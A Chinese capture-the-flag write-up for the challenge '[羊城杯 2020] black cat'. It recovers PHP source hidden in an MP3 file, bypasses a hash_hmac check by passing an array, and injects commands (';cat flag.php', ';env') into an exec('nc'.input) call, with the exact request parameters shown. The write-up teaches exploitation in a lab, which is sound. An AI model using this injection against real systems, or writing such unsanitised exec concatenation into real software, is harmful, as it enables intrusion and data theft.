当前位置: 首页 > news >正文

[羊城杯 2020]black cat - 文件隐写+RCE(hash_hmac绕过)

[羊城杯 2020]black cat

  • 1 解题流程
    • 1.1 第一步
    • 1.2 第二步
    • 1.3 第三步

1

1 解题流程

1.1 第一步

  1. 打开网站有首歌,按F12也是提示听歌,ctf-wscan扫描就flag.php
  2. 下载歌,用010打开,发现有一段内容
    if(empty($_POST['Black-Cat-Sheriff']) || empty($_POST['One-ear'])){die('Ë­£¡¾¹¸Ò²ÈÎÒÒ»Ö»¶úµÄβ°Í£¡');
    }
    $clandestine = getenv("clandestine");		//获取环境变量
    if(isset($_POST['White-cat-monitor']))$clandestine = hash_hmac('sha256', $_POST['White-cat-monitor'], $clandestine);
    $hh = hash_hmac('sha256', $_POST['One-ear'], $clandestine);
    if($hh !== $_POST['Black-Cat-Sheriff']){die('ÓÐÒâÃé×¼£¬ÎÞÒâ»÷·¢£¬ÄãµÄÃÎÏë¾ÍÊÇÄãÒªÃé×¼µÄÄ¿±ê¡£ÏàÐÅ×Ô¼º£¬Äã¾ÍÊÇÄÇ¿ÅÉäÖаÐÐĵÄ×Óµ¯¡£');
    }
    echo exec("nc".$_POST['One-ear']);
    

1.2 第二步

  1. 这题要post这几个参数:Black-Cat-Sheriff、One-ear、White-cat-monitor
    这里有3个if,首先第一个肯定绕过;
          第二个if里面存在hash_hmac函数,只要我们传数组就能让盐是空,即第一次加密的clandestine是空
          第三个因为盐是空所以只有普通加密,Black-Cat-Sheriff传对应加密结果就行
    特性:MD5、sha特性是无法识别数组,只要是数组加密,就会变成null,所以White-cat-monitor采用数组绕过
  2. 最后一个if判断,编写一个脚本,生成加密结果
    <?php$hh = hash_hmac('sha256',';cat flag.php', null);echo $hh;
    ?>
    结果:04b13fc0dff07413856e54695eb6a763878cd1934c503784fe6e24b7e8cdb1b6
    
  3. exec(‘nc’.) 这里拼接命令,如果直接传cat flag.php会变成 => exec('nc’cat flag.php)无法执行
    只要是系统命令的执行,可以通过;来拼接命令,所以one-ear=;cat flag.php => exec('nc';cat flag.php)

1.3 第三步

我先用ls ls …/ ls /等都没结果,考虑其他

  1. ?Black-Cat-Sheriff=83a52f8ff4e399417109312e0539c80147b5514586c45a6caeb3681ad9c1a395&One-ear=;dir&White-cat-monitor[]=1
    得到: Hei_Mao_Jing_Chang.mp3 flag.php index.php js scss
  2. Black-Cat-Sheriff=04b13fc0dff07413856e54695eb6a763878cd1934c503784fe6e24b7e8cdb1b6&One-ear=;cat flag.php&White-cat-monitor[]=1
    得到: “GWHT{y0u_mu3t_p@y_atTentiou_!0_lt}”;
    提交后发现这个flag是错的
  3. 如果cat flag.php没出来,就cat /flag,或者env
    Black-Cat-Sheriff=afd556602cf62addfe4132a81b2d62b9db1b6719f83e16cce13f51960f56791b&One-ear=;env&White-cat-monitor[]=1
    得到:FLAG=flag{e325e53c-76d2-40b8-a41a-4dd88185afdb}
http://www.lryc.cn/news/188699.html

相关文章:

  • 智能文件管理助手,轻松实现按数量平均分类文件,高效整理新文件夹!
  • 安卓 Android 终端接入阿里云 IoT 物联网平台
  • 2023自动化测试面试题(含答案)
  • 使用 Apache Camel 和 Quarkus 的微服务(一)
  • 如何通过高级流量管理提高 Kubernetes 的弹性
  • 解决Springboot集成RabbitMQ不自动生成队列的问题
  • 【数据结构】Decreasing String—CF1886C
  • 【广州华锐互动】钢厂铸锻部VR沉浸式实训系统
  • Python中执行SQL报错unsupported format character ‘Y‘ (0x59) at index 34
  • 云数据库(林子雨慕课课程)
  • 2023-10-10 python-从一组颜色中找到与指定颜色最接近的颜色-{K-D树}-记录
  • 使用C++实现DNS欺骗攻击
  • C#WPF属性元素语法应用实例
  • el-select应用虚拟列表,避免过多数据导致浏览器卡死
  • ES6之函数的扩展
  • 【PPT制作】基础篇
  • 尚硅谷CSS学习笔记
  • MYSQL的日志管理
  • 微信小程序在TS模板下引入TDesign组件
  • alsa pcm接口之pcm设备的状态STATE
  • 【UE】在游戏运行时,通过选择uasset来生成静态网格体
  • vue中PC端使用高德地图 -- 实现搜索定位、地址标记、弹窗显示定位详情
  • 服务器数据恢复-DS5300存储raid5硬盘出现坏道离线的数据恢复案例
  • K8S存储总结持久化存储解决方案(以NFS为例)
  • vue3+ts项目02-安装eslint、prettier和sass
  • sface人脸相似度检测
  • 设计模式 - 行为型模式考点篇:模板方法模式(概念 | 案例实现 | 优缺点 | 使用场景)
  • 因为计算机中找不到mfc140.dll无法启动修复步骤分享
  • 【Python基础-Pandas】解决Pandas会自动把None转成NaN的问题
  • 学习记忆——数学篇——案例——代数——方程——一元二次方程